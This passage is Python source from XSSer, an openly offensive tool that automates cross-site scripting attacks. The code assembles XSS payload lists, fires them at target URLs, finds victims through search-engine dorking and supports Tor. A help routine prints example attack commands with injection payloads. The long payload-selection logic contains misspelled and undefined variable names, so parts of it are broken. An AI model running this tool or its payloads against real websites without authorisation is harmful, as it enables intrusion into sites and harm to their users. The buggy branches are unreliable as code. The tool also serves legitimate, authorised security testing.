main.py 210 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267126812691270127112721273127412751276127712781279128012811282128312841285128612871288128912901291129212931294129512961297129812991300130113021303130413051306130713081309131013111312131313141315131613171318131913201321132213231324132513261327132813291330133113321333133413351336133713381339134013411342134313441345134613471348134913501351135213531354135513561357135813591360136113621363136413651366136713681369137013711372137313741375137613771378137913801381138213831384138513861387138813891390139113921393139413951396139713981399140014011402140314041405140614071408140914101411141214131414141514161417141814191420142114221423142414251426142714281429143014311432143314341435143614371438143914401441144214431444144514461447144814491450145114521453145414551456145714581459146014611462146314641465146614671468146914701471147214731474147514761477147814791480148114821483148414851486148714881489149014911492149314941495149614971498149915001501150215031504150515061507150815091510151115121513151415151516151715181519152015211522152315241525152615271528152915301531153215331534153515361537153815391540154115421543154415451546154715481549155015511552155315541555155615571558155915601561156215631564156515661567156815691570157115721573157415751576157715781579158015811582158315841585158615871588158915901591159215931594159515961597159815991600160116021603160416051606160716081609161016111612161316141615161616171618161916201621162216231624162516261627162816291630163116321633163416351636163716381639164016411642164316441645164616471648164916501651165216531654165516561657165816591660166116621663166416651666166716681669167016711672167316741675167616771678167916801681168216831684168516861687168816891690169116921693169416951696169716981699170017011702170317041705170617071708170917101711171217131714171517161717171817191720172117221723172417251726172717281729173017311732173317341735173617371738173917401741174217431744174517461747174817491750175117521753175417551756175717581759176017611762176317641765176617671768176917701771177217731774177517761777177817791780178117821783178417851786178717881789179017911792179317941795179617971798179918001801180218031804180518061807180818091810181118121813181418151816181718181819182018211822182318241825182618271828182918301831183218331834183518361837183818391840184118421843184418451846184718481849185018511852185318541855185618571858185918601861186218631864186518661867186818691870187118721873187418751876187718781879188018811882188318841885188618871888188918901891189218931894189518961897189818991900190119021903190419051906190719081909191019111912191319141915191619171918191919201921192219231924192519261927192819291930193119321933193419351936193719381939194019411942194319441945194619471948194919501951195219531954195519561957195819591960196119621963196419651966196719681969197019711972197319741975197619771978197919801981198219831984198519861987198819891990199119921993199419951996199719981999200020012002200320042005200620072008200920102011201220132014201520162017201820192020202120222023202420252026202720282029203020312032203320342035203620372038203920402041204220432044204520462047204820492050205120522053205420552056205720582059206020612062206320642065206620672068206920702071207220732074207520762077207820792080208120822083208420852086208720882089209020912092209320942095209620972098209921002101210221032104210521062107210821092110211121122113211421152116211721182119212021212122212321242125212621272128212921302131213221332134213521362137213821392140214121422143214421452146214721482149215021512152215321542155215621572158215921602161216221632164216521662167216821692170217121722173217421752176217721782179218021812182218321842185218621872188218921902191219221932194219521962197219821992200220122022203220422052206220722082209221022112212221322142215221622172218221922202221222222232224222522262227222822292230223122322233223422352236223722382239224022412242224322442245224622472248224922502251225222532254225522562257225822592260226122622263226422652266226722682269227022712272227322742275227622772278227922802281228222832284228522862287228822892290229122922293229422952296229722982299230023012302230323042305230623072308230923102311231223132314231523162317231823192320232123222323232423252326232723282329233023312332233323342335233623372338233923402341234223432344234523462347234823492350235123522353235423552356235723582359236023612362236323642365236623672368236923702371237223732374237523762377237823792380238123822383238423852386238723882389239023912392239323942395239623972398239924002401240224032404240524062407240824092410241124122413241424152416241724182419242024212422242324242425242624272428242924302431243224332434243524362437243824392440244124422443244424452446244724482449245024512452245324542455245624572458245924602461246224632464246524662467246824692470247124722473247424752476247724782479248024812482248324842485248624872488248924902491249224932494249524962497249824992500250125022503250425052506250725082509251025112512251325142515251625172518251925202521252225232524252525262527252825292530253125322533253425352536253725382539254025412542254325442545254625472548254925502551255225532554255525562557255825592560256125622563256425652566256725682569257025712572257325742575257625772578257925802581258225832584258525862587258825892590259125922593259425952596259725982599260026012602260326042605260626072608260926102611261226132614261526162617261826192620262126222623262426252626262726282629263026312632263326342635263626372638263926402641264226432644264526462647264826492650265126522653265426552656265726582659266026612662266326642665266626672668266926702671267226732674267526762677267826792680268126822683268426852686268726882689269026912692269326942695269626972698269927002701270227032704270527062707270827092710271127122713271427152716271727182719272027212722272327242725272627272728272927302731273227332734273527362737273827392740274127422743274427452746274727482749275027512752275327542755275627572758275927602761276227632764276527662767276827692770277127722773277427752776277727782779278027812782278327842785278627872788278927902791279227932794279527962797279827992800280128022803280428052806280728082809281028112812281328142815281628172818281928202821282228232824282528262827282828292830283128322833283428352836283728382839284028412842284328442845284628472848284928502851285228532854285528562857285828592860286128622863286428652866286728682869287028712872287328742875287628772878287928802881288228832884288528862887288828892890289128922893289428952896289728982899290029012902290329042905290629072908290929102911291229132914291529162917291829192920292129222923292429252926292729282929293029312932293329342935293629372938293929402941294229432944294529462947294829492950295129522953295429552956295729582959296029612962296329642965296629672968296929702971297229732974297529762977297829792980298129822983298429852986298729882989299029912992299329942995299629972998299930003001300230033004300530063007300830093010301130123013301430153016301730183019302030213022302330243025302630273028302930303031303230333034303530363037303830393040304130423043304430453046304730483049305030513052305330543055305630573058305930603061306230633064306530663067306830693070307130723073307430753076307730783079308030813082308330843085308630873088308930903091309230933094309530963097309830993100310131023103310431053106310731083109311031113112311331143115311631173118311931203121312231233124312531263127312831293130313131323133313431353136313731383139314031413142314331443145314631473148314931503151315231533154315531563157315831593160316131623163316431653166316731683169317031713172317331743175317631773178317931803181318231833184318531863187318831893190319131923193319431953196319731983199320032013202320332043205320632073208320932103211321232133214321532163217321832193220322132223223322432253226322732283229323032313232323332343235323632373238323932403241324232433244324532463247324832493250325132523253325432553256325732583259326032613262326332643265326632673268326932703271327232733274327532763277327832793280328132823283328432853286328732883289329032913292329332943295329632973298329933003301330233033304330533063307330833093310331133123313331433153316331733183319332033213322332333243325332633273328332933303331333233333334333533363337333833393340334133423343334433453346334733483349335033513352335333543355335633573358335933603361336233633364336533663367336833693370337133723373337433753376337733783379338033813382338333843385338633873388338933903391339233933394339533963397339833993400340134023403340434053406340734083409341034113412341334143415341634173418341934203421342234233424342534263427342834293430343134323433343434353436343734383439344034413442344334443445344634473448344934503451345234533454345534563457345834593460346134623463346434653466346734683469347034713472347334743475347634773478347934803481348234833484348534863487348834893490349134923493349434953496349734983499350035013502350335043505350635073508350935103511351235133514351535163517351835193520352135223523352435253526352735283529353035313532353335343535353635373538353935403541354235433544354535463547354835493550355135523553355435553556355735583559356035613562356335643565356635673568356935703571357235733574357535763577357835793580358135823583358435853586358735883589359035913592359335943595359635973598359936003601360236033604360536063607360836093610361136123613361436153616361736183619362036213622362336243625362636273628362936303631363236333634363536363637363836393640364136423643364436453646364736483649365036513652365336543655365636573658365936603661366236633664366536663667366836693670367136723673367436753676367736783679368036813682368336843685368636873688368936903691369236933694369536963697369836993700370137023703370437053706370737083709371037113712371337143715371637173718371937203721372237233724372537263727372837293730373137323733373437353736373737383739374037413742374337443745374637473748374937503751375237533754375537563757375837593760376137623763376437653766376737683769377037713772377337743775377637773778377937803781378237833784378537863787378837893790379137923793379437953796379737983799380038013802380338043805380638073808380938103811381238133814381538163817381838193820382138223823382438253826382738283829383038313832383338343835383638373838383938403841384238433844384538463847384838493850385138523853
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-"
  3. # vim: set expandtab tabstop=4 shiftwidth=4:
  4. """
  5. This file is part of the XSSer project, https://xsser.03c8.net
  6. Copyright (c) 2010/2020 | psy <epsylon@riseup.net>
  7. xsser is free software; you can redistribute it and/or modify it under
  8. the terms of the GNU General Public License as published by the Free
  9. Software Foundation version 3 of the License.
  10. xsser is distributed in the hope that it will be useful, but WITHOUT ANY
  11. WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
  12. FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
  13. details.
  14. You should have received a copy of the GNU General Public License along
  15. with xsser; if not, write to the Free Software Foundation, Inc., 51
  16. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  17. """
  18. import os, re, sys, datetime, hashlib, time, cgi, traceback, webbrowser, random
  19. try:
  20. import urllib.request, urllib.error, urllib.parse
  21. except:
  22. print ("\n[Info] XSSer no longer supports Python2: (https://www.python.org/doc/sunset-python-2/). Try to run the tool with Python3.x.y... (ex: python3 xsser)\n")
  23. sys.exit()
  24. from random import randint
  25. from base64 import b64encode, b64decode
  26. from http.cookies import SimpleCookie
  27. import core.fuzzing
  28. import core.fuzzing.vectors
  29. import core.fuzzing.DCP
  30. import core.fuzzing.DOM
  31. import core.fuzzing.HTTPsr
  32. import core.fuzzing.heuristic
  33. from collections import defaultdict
  34. from itertools import islice, chain
  35. from urllib.parse import parse_qs, urlparse
  36. from core.curlcontrol import Curl
  37. from core.encdec import EncoderDecoder
  38. from core.options import XSSerOptions
  39. from core.dork import Dorker
  40. from core.crawler import Crawler
  41. from core.imagexss import ImageInjections
  42. from core.flashxss import FlashInjections
  43. from core.post.xml_exporter import xml_reporting
  44. from core.tokenhub import HubThread
  45. from core.reporter import XSSerReporter
  46. from core.threadpool import ThreadPool, NoResultsPending
  47. from core.update import Updater
  48. # set to emit debug messages about errors (False = off).
  49. DEBUG = False
  50. class xsser(EncoderDecoder, XSSerReporter):
  51. """
  52. XSSer application class
  53. """
  54. def __init__(self, mothership=None):
  55. self._reporter = None
  56. self._reporters = []
  57. self._landing = False
  58. self._ongoing_requests = 0
  59. self._oldcurl = []
  60. self._gtkdir = None
  61. self._webbrowser = webbrowser
  62. self.crawled_urls = []
  63. self.checked_urls = []
  64. self.successful_urls = []
  65. self.urlmalformed = False
  66. self.search_engines = [] # available dorking search engines
  67. self.search_engines.append('bing') # [26/08/2019: OK!]
  68. self.search_engines.append('yahoo') # [26/08/2019: OK!]
  69. self.search_engines.append('startpage') # [26/08/2019: OK!]
  70. self.search_engines.append('duck') # [26/08/2019: OK!]
  71. #self.search_engines.append('google')
  72. #self.search_engines.append('yandex')
  73. self.user_template = None # wizard user template
  74. self.user_template_conntype = "GET" # GET by default
  75. self.check_tor_url = 'https://check.torproject.org/' # TOR status checking site
  76. if not mothership:
  77. # no mothership so *this* is the mothership
  78. # start the communications hub and rock on!
  79. self.hub = None
  80. self.pool = ThreadPool(0)
  81. self.mothership = None
  82. self.final_attacks = {}
  83. else:
  84. self.hub = None
  85. self.mothership = mothership
  86. self.mothership.add_reporter(self)
  87. self.pool = ThreadPool(0)
  88. self.final_attacks = self.mothership.final_attacks
  89. # initialize the url encoder/decoder
  90. EncoderDecoder.__init__(self)
  91. # your unique real opponent
  92. self.time = datetime.datetime.now()
  93. # this payload comes with vector already..
  94. self.DEFAULT_XSS_PAYLOAD = 'XSS'
  95. # to be or not to be...
  96. self.hash_found = []
  97. self.hash_notfound = []
  98. # other hashes
  99. self.hashed_injections={}
  100. self.extra_hashed_injections={}
  101. self.extra_hashed_vector_url = {}
  102. self.final_hashes = {} # final hashes used by each method
  103. # some counters for checker systems
  104. self.errors_isalive = 0
  105. self.next_isalive = False
  106. self.flag_isalive_num = 0
  107. self.rounds = 0
  108. self.round_complete = 0
  109. # some controls about targets
  110. self.urlspoll = []
  111. # some statistics counters for connections
  112. self.success_connection = 0
  113. self.not_connection = 0
  114. self.forwarded_connection = 0
  115. self.other_connection = 0
  116. # some statistics counters for payloads
  117. self.xsr_injection = 0
  118. self.xsa_injection = 0
  119. self.coo_injection = 0
  120. self.manual_injection = 0
  121. self.auto_injection = 0
  122. self.dcp_injection = 0
  123. self.dom_injection = 0
  124. self.httpsr_injection = 0
  125. self.check_positives = 0
  126. # some statistics counters for injections found
  127. self.xsr_found = 0
  128. self.xsa_found = 0
  129. self.coo_found = 0
  130. self.manual_found = 0
  131. self.auto_found = 0
  132. self.dcp_found = 0
  133. self.dom_found = 0
  134. self.httpsr_found = 0
  135. self.false_positives = 0
  136. # some statistics counters for heuristic parameters
  137. self.heuris_hashes = []
  138. self.heuris_backslash_found = 0
  139. self.heuris_une_backslash_found = 0
  140. self.heuris_dec_backslash_found = 0
  141. self.heuris_backslash_notfound = 0
  142. self.heuris_slash_found = 0
  143. self.heuris_une_slash_found = 0
  144. self.heuris_dec_slash_found = 0
  145. self.heuris_slash_notfound = 0
  146. self.heuris_mayor_found = 0
  147. self.heuris_une_mayor_found = 0
  148. self.heuris_dec_mayor_found = 0
  149. self.heuris_mayor_notfound = 0
  150. self.heuris_minor_found = 0
  151. self.heuris_une_minor_found = 0
  152. self.heuris_dec_minor_found = 0
  153. self.heuris_minor_notfound = 0
  154. self.heuris_semicolon_found = 0
  155. self.heuris_une_semicolon_found = 0
  156. self.heuris_dec_semicolon_found = 0
  157. self.heuris_semicolon_notfound = 0
  158. self.heuris_colon_found = 0
  159. self.heuris_une_colon_found = 0
  160. self.heuris_dec_colon_found = 0
  161. self.heuris_colon_notfound = 0
  162. self.heuris_doublecolon_found = 0
  163. self.heuris_une_doublecolon_found = 0
  164. self.heuris_dec_doublecolon_found = 0
  165. self.heuris_doublecolon_notfound = 0
  166. self.heuris_equal_found = 0
  167. self.heuris_une_equal_found = 0
  168. self.heuris_dec_equal_found = 0
  169. self.heuris_equal_notfound = 0
  170. # xsser verbosity (0 - no output, 1 - dots only, 2+ - real verbosity)
  171. self.verbose = 2
  172. self.options = None
  173. def __del__(self):
  174. if not self._landing:
  175. self.land()
  176. def get_gtk_directory(self):
  177. if self._gtkdir:
  178. return self._gtkdir
  179. local_path = os.path.join(os.path.dirname(os.path.dirname(__file__)),
  180. 'gtk')
  181. if os.path.exists(local_path):
  182. self._gtkdir = local_path
  183. return self._gtkdir
  184. elif os.path.exists('/usr/share/xsser/gtk'):
  185. self._gtkdir = '/usr/share/xsser/gtk'
  186. return self._gtkdir
  187. def set_webbrowser(self, browser):
  188. self._webbrowser = browser
  189. def set_reporter(self, reporter):
  190. self._reporter = reporter
  191. def add_reporter(self, reporter):
  192. self._reporters.append(reporter)
  193. def remove_reporter(self, reporter):
  194. if reporter in self._reporters:
  195. self._reporters.remove(reporter)
  196. def generate_hash(self, attack_type='default'):
  197. """
  198. Generate a new hash for a type of attack.
  199. """
  200. date = str(datetime.datetime.now())
  201. encoded_hash = date + attack_type
  202. return hashlib.md5(encoded_hash.encode('utf-8')).hexdigest()
  203. def generate_numeric_hash(self): # 32 length as md5
  204. """
  205. Generate a new hash for numeric only XSS
  206. """
  207. newhash = ''.join(random.choice('0123456789') for i in range(32))
  208. return newhash
  209. def report(self, msg, level='info'):
  210. """
  211. Report some error from the application.
  212. levels: debug, info, warning, error
  213. """
  214. if self.verbose == 2:
  215. prefix = ""
  216. if level != 'info':
  217. prefix = "["+level+"] "
  218. print(msg)
  219. elif self.verbose:
  220. if level == 'error':
  221. sys.stdout.write("*")
  222. else:
  223. sys.stdout.write(".")
  224. for reporter in self._reporters:
  225. reporter.post(msg)
  226. if self._reporter:
  227. from twisted.internet import reactor
  228. reactor.callFromThread(self._reporter.post, msg)
  229. def set_options(self, options):
  230. """
  231. Set xsser options
  232. """
  233. self.options = options
  234. self._opt_request()
  235. def _opt_request(self):
  236. """
  237. Pass on some properties to Curl
  238. """
  239. options = self.options
  240. for opt in ['cookie', 'agent', 'referer',\
  241. 'headers', 'atype', 'acred', 'acert',
  242. 'proxy', 'ignoreproxy', 'timeout',
  243. 'delay', 'tcp_nodelay', 'retries',
  244. 'xforw', 'xclient', 'threads',
  245. 'dropcookie', 'followred', 'fli',
  246. 'nohead', 'isalive', 'alt', 'altm',
  247. 'ald'
  248. ]:
  249. if hasattr(options, opt) and getattr(options, opt):
  250. setattr(Curl, opt, getattr(options, opt))
  251. def get_payloads(self):
  252. """
  253. Process payload options and make up the payload list for the attack.
  254. """
  255. options = self.options
  256. # payloading sources for --auto
  257. payloads_fuzz = core.fuzzing.vectors.vectors
  258. if options.fzz_info or options.fzz_num or options.fzz_rand and not options.fuzz:
  259. self.options.fuzz = True
  260. # set a type for XSS auto-fuzzing vectors
  261. if options.fzz_info:
  262. fzz_payloads = []
  263. for fuzz in payloads_fuzz:
  264. if not fuzz["browser"] == "[Not Info]":
  265. fzz_payloads.append(fuzz)
  266. payloads_fuzz = fzz_payloads
  267. # set a limit for XSS auto-fuzzing vectors
  268. if options.fzz_num:
  269. try:
  270. options.fzz_num = int(options.fzz_num)
  271. except:
  272. options.fzz_num = len(payloads_fuzz)
  273. fzz_num_payloads = []
  274. fzz_vector = 0
  275. for fuzz in payloads_fuzz:
  276. fzz_vector = fzz_vector + 1
  277. if int(fzz_vector) < int(options.fzz_num)+1:
  278. fzz_num_payloads.append(fuzz)
  279. payloads_fuzz = fzz_num_payloads
  280. # set random order for XSS auto-fuzzing vectors
  281. if options.fzz_rand:
  282. try:
  283. from random import shuffle
  284. shuffle(payloads_fuzz) # shuffle paylods
  285. except:
  286. pass
  287. payloads_dcp = core.fuzzing.DCP.DCPvectors
  288. payloads_dom = core.fuzzing.DOM.DOMvectors
  289. payloads_httpsr = core.fuzzing.HTTPsr.HTTPrs_vectors
  290. manual_payload = [{"payload":options.script, "browser":"[manual_injection]"}]
  291. # sustitute payload for hash to check for false positives
  292. self.hashed_payload = "XSS"
  293. checker_payload = [{"payload":self.hashed_payload, "browser":"[hashed_precheck_system]"}]
  294. # heuristic parameters
  295. heuristic_params = core.fuzzing.heuristic.heuristic_test
  296. def enable_options_heuristic(payloads):
  297. if options.heuristic:
  298. payloads = heuristic_params + payloads
  299. if options.dom:
  300. payloads = payloads + payloads_dom
  301. return payloads
  302. if options.fuzz:
  303. payloads = payloads_fuzz
  304. if options.dcp:
  305. payloads = payloads + payloads_dcp
  306. if options.script:
  307. payloads = payloads + manual_payload
  308. if options.hash:
  309. payloads = checker_payload + payloads
  310. if options.inducedcode:
  311. payloads = payloads + payloads_httpsr
  312. if options.heuristic:
  313. payloads = heuristic_params + payloads
  314. if options.dom:
  315. payloads = payloads + payloads_dom
  316. elif options.inducedcode:
  317. payloads = payloads + payloads_httpsr
  318. if options.heuristic:
  319. payloads = heuristic_params + payloads
  320. if options.dom:
  321. payloads = payloads + payloads_dom
  322. elif options.dom:
  323. payloads = payloads + payloads_dom
  324. elif options.heuristic:
  325. payloads = heuristic_params + payloads
  326. if options.dom:
  327. payloads = payloads + payloads_dom
  328. elif options.dom:
  329. payloads = payloads + payloads_dom
  330. elif options.hash:
  331. payloads = checker_payload + payloads
  332. if options.inducedcode:
  333. payloads = payloads + payloads_httpsr
  334. if options.heuristic:
  335. payloads = heuristic_params + payloads
  336. if options.dom:
  337. payloads = payloads + payloads_dom
  338. elif options.dom:
  339. payloads = payloads + payloads_dom
  340. elif options.inducedcode:
  341. payloads = payloads + payloads_httpsr
  342. if options.heuristic:
  343. payloads = heuristic_params + payloads
  344. if options.dom:
  345. payloads = payloads + payloads_dom
  346. elif options.dom:
  347. payloads = payloads + payloads_dom
  348. elif options.script:
  349. payloads = payloads + manual_payload
  350. if options.hash:
  351. payloads = checker_payload + payloads
  352. if options.inducedcode:
  353. payloads = payaloads + payloads_httpsr
  354. if options.heuristic:
  355. payloads = heuristic_params + payloads
  356. if options.dom:
  357. payloads = payloads + payloads_dom
  358. elif options.hash:
  359. payloads = checker_payload + payloads
  360. if options.inducedcode:
  361. payloads = payloads + payloads_httpsr
  362. if options.heuristic:
  363. payloads = heuristic_params + payloads
  364. if options.dom:
  365. payloads = payloads + payloads_dom
  366. elif options.dom:
  367. payloads = payloads + payloads_dom
  368. elif options.heuristic:
  369. payloads = heuristic_params + payloads
  370. if options.dom:
  371. payloads = payloads + payloads_dom
  372. elif options.dom:
  373. payloads = payloads + payloads_dom
  374. elif options.inducedcode:
  375. payloads = payloads + payloads_httpsr
  376. if options.hash:
  377. payloads = checker_payload + payloads
  378. if options.heuristic:
  379. payloads = heuristic_params + payloads
  380. if options.dom:
  381. payloads = payloads + payloads_dom
  382. elif options.dom:
  383. payloads = payloads + payloads_dom
  384. elif options.heuristic:
  385. payloads = heuristic_params + payloads
  386. if options.dom:
  387. payloads = payloads + payloads_dom
  388. elif options.dom:
  389. payloads = payloads + payloads_dom
  390. elif options.dcp:
  391. payloads = payloads_dcp
  392. if options.script:
  393. payloads = payloads + manual_payload
  394. if options.hash:
  395. payloads = checker_payload + payloads
  396. if options.inducedcode:
  397. payloads = payloads + payloads_httpsr
  398. if options.heuristic:
  399. payloads = heuristic_params + payloads
  400. if options.dom:
  401. payloads = payloads + payloads_dom
  402. elif options.hash:
  403. payloads = checker_payload + payloads
  404. if options.inducedcode:
  405. payloads = payloads + inducedcode
  406. if options.heuristic:
  407. payloads = heuristic_params + payloads
  408. if options.dom:
  409. payloads = payloads + payloads_dom
  410. elif options.dom:
  411. payloads = payloads + payloads_dom
  412. elif options.inducedcode:
  413. payloads = payloads + payloads_httpsr
  414. if options.heuristic:
  415. payloads = heuristic_params + payloads
  416. if options.dom:
  417. payloads = payloads + payloads_dom
  418. elif options.dom:
  419. payloads = payloads + payloads_dom
  420. elif options.heuristic:
  421. payloads = heuristic_params + payloads
  422. if options.dom:
  423. payloads = payloads + payloads_dom
  424. elif options.dom:
  425. payloads = payloads + payloads_dom
  426. elif options.script:
  427. payloads = manual_payload
  428. if options.hash:
  429. payloads = checker_payload + payloads
  430. if options.inducedcode:
  431. payloads = payloads + payloads_httpsr
  432. if options.heuristic:
  433. payloads = heuristic_params + payloads
  434. if options.dom:
  435. payloads = payloads + payloads_dom
  436. elif options.inducedcode:
  437. payloads = payloads + payloads_httpsr
  438. if options.heuristic:
  439. payloads = heuristic_params + payloads
  440. if options.dom:
  441. payloads = payloads + payloads_dom
  442. elif options.dom:
  443. payloads = payloads + payloads_dom
  444. elif options.heuristic:
  445. payloads = heuristic_params + payloads
  446. if options.dom:
  447. paylaods = payloads + payloads_dom
  448. elif options.dom:
  449. payloads = payloads + payloads_dom
  450. elif options.inducedcode:
  451. payloads = payloads_httpsr
  452. if options.hash:
  453. payloads = checker_payload + payloads
  454. if options.heuristic:
  455. payloads = heuristic_params + payloads
  456. if options.dom:
  457. payloads = payloads + payloads_dom
  458. elif options.heuristic:
  459. payloads = heuristic_params + payloads
  460. if options.dom:
  461. payloads = payloads + payloads_dom
  462. elif options.dom:
  463. payloads = payloads + payloads_dom
  464. elif options.heuristic:
  465. payloads = heuristic_params
  466. if options.hash:
  467. payloads = checker_payload + payloads
  468. if options.dom:
  469. payloads = payloads + payloads_dom
  470. elif options.dom:
  471. payloads = payloads + payloads_dom
  472. elif options.dom:
  473. payloads = payloads_dom
  474. elif not options.fuzz and not options.dcp and not options.script and not options.hash and not options.inducedcode and not options.heuristic and not options.dom:
  475. payloads = [{"payload":'">PAYLOAD',
  476. "browser":"[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"
  477. }]
  478. else:
  479. payloads = checker_payload
  480. return payloads
  481. def process_ipfuzzing(self, text):
  482. """
  483. Mask ips in given text to DWORD
  484. """
  485. ips = re.findall("\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", text)
  486. for ip in ips:
  487. text = text.replace(ip, str(self._ipDwordEncode(ip)))
  488. return text
  489. def process_ipfuzzing_octal(self, text):
  490. """
  491. Mask ips in given text to Octal
  492. """
  493. ips = re.findall("\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", text)
  494. for ip in ips:
  495. text = text.replace(ip, str(self._ipOctalEncode(ip)))
  496. return text
  497. def process_payloads_ipfuzzing(self, payloads):
  498. """
  499. Mask ips for all given payloads using DWORD
  500. """
  501. # ip fuzzing (DWORD)
  502. if self.options.Dwo:
  503. resulting_payloads = []
  504. for payload in payloads:
  505. payload["payload"] = self.process_ipfuzzing(payload["payload"])
  506. resulting_payloads.append(payload)
  507. return resulting_payloads
  508. return payloads
  509. def process_payloads_ipfuzzing_octal(self, payloads):
  510. """
  511. Mask ips for all given payloads using OCTAL
  512. """
  513. # ip fuzzing (OCTAL)
  514. if self.options.Doo:
  515. resulting_payloads = []
  516. for payload in payloads:
  517. payload["payload"] = self.process_ipfuzzing_octal(payload["payload"])
  518. resulting_payloads.append(payload)
  519. return resulting_payloads
  520. return payloads
  521. def get_query_string(self):
  522. """
  523. Get the supplied query string.
  524. """
  525. if self.options.postdata:
  526. return self.options.postdata
  527. elif self.options.getdata:
  528. return self.options.getdata
  529. return ""
  530. def attack_url(self, url, payloads, query_string):
  531. """
  532. Attack the given url checking or not if is correct.
  533. """
  534. if not self.options.nohead:
  535. for payload in payloads:
  536. self.rounds = self.rounds + 1
  537. self.attack_url_payload(url, payload, query_string)
  538. else:
  539. hc = Curl()
  540. try:
  541. urls = hc.do_head_check([url])
  542. except:
  543. self.report("[Error] Target URL: (" + url + ") is malformed!" + " [DISCARDED]" + "\n")
  544. return
  545. self.report("-"*50 + "\n")
  546. if str(hc.info()["http-code"]) in ["200", "302", "301", "401"]:
  547. if str(hc.info()["http-code"]) in ["301"]:
  548. url = str(hc.info()["Location"])
  549. payload = ""
  550. query_string = ""
  551. elif str(hc.info()["http-code"]) in ["302"]:
  552. url = url + "/"
  553. payload = ""
  554. query_string = ""
  555. self.success_connection = self.success_connection + 1
  556. self.report("[Info] HEAD-CHECK: OK! [HTTP-" + hc.info()["http-code"] + "] -> [AIMED]\n")
  557. for payload in payloads:
  558. self.attack_url_payload(url, payload, query_string)
  559. else:
  560. if str(hc.info()["http-code"]) in ["405"]:
  561. self.report("[Info] HEAD-CHECK: NOT ALLOWED! [HTTP-" + hc.info()["http-code"] + "] -> [PASSING]\n")
  562. self.success_connection = self.success_connection + 1
  563. for payload in payloads:
  564. self.attack_url_payload(url, payload, query_string)
  565. else:
  566. self.not_connection = self.not_connection + 1
  567. self.report("[Error] HEAD-CHECK: FAILED! [HTTP-" + hc.info()["http-code"] + "] -> [DISCARDED]\n")
  568. self.report("-"*50 + "\n")
  569. def not_keyword_exit(self):
  570. self.report("="*30)
  571. self.report("\n[Error] XSSer cannot find a correct place to start an attack. Aborting!...\n")
  572. self.report("-"*25)
  573. self.report("\n[Info] This is because you aren't providing:\n\n At least one -payloader- using a keyword: 'XSS' (for hex.hash) or 'X1S' (for int.hash):\n")
  574. self.report(" - ex (GET): xsser -u 'https://target.com' -g '/path/profile.php?username=bob&surname=XSS&age=X1S&job=XSS'")
  575. self.report(" - ex (POST): xsser -u 'https://target.com/login.php' -p 'username=bob&password=XSS&captcha=X1S'\n")
  576. self.report(" Any extra attack(s) (Xsa, Xsr, Coo, Dorker, Crawler...):\n")
  577. self.report(" - ex (GET+Cookie): xsser -u 'https://target.com' -g '/path/id.php?=2' --Coo")
  578. self.report(" - ex (POST+XSA+XSR+Cookie): xsser -u 'https://target.com/login.php' -p 'username=admin&password=admin' --Xsa --Xsr --Coo")
  579. self.report(" - ex (Dorker): xsser -d 'news.php?id=' --Da")
  580. self.report(" - ex (Crawler): xsser -u 'https://target.com' -c 100 --Cl\n")
  581. self.report(" Or a mixture:\n")
  582. self.report(" - ex (GET+Manual): xsser -u 'https://target.com' -g '/users/profile.php?user=XSS&salary=X1S' --payload='<script>alert(XSS);</script>'")
  583. self.report(" - ex (POST+Manual): xsser -u 'https://target.com/login.asp' -p 'username=bob&password=XSS' --payload='}}%%&//<sc&ri/pt>(XSS)--;>'\n")
  584. self.report(" - ex (GET+Cookie): xsser -u 'https://target.com' -g '/login.asp?user=bob&password=XSS' --Coo")
  585. self.report(" - ex (POST+XSR+XSA): xsser -u 'https://target.com/login.asp' -p 'username=bob&password=XSS' --Xsr --Xsa\n")
  586. self.report("="*75 + "\n")
  587. if not self.options.xsser_gtk:
